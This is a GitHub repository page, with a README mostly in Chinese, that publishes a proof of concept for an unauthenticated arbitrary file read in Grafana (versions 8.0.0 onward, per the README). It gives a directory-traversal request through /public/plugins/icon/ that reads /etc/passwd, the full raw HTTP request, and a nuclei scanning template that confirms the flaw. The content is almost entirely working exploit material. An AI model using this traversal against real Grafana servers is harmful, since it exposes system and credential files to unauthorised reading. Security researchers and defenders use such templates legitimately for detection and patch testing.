Skip to content

D1mL-9ht/Grafana-File-Read

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 

Repository files navigation

Grafana-File-Read

Grafana未授权文件读取

影响版本:8.0.0-lastest

wecom-temp-e380dc0174f4d9f46e9e217a6e2c3ddb

poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd

GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

image

依此写出nuclei的poc:

id: Grafana未授权文件读取

info:
  name: Grafana-File-read
  author: txf
  description: Grafana!
  reference:
    - https://github.com/tangxiaofeng7/Grafana-File-Read
  severity: critical
  tags: cve,cve2021,grafana
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80

requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd "

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - 'nologin'

image

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published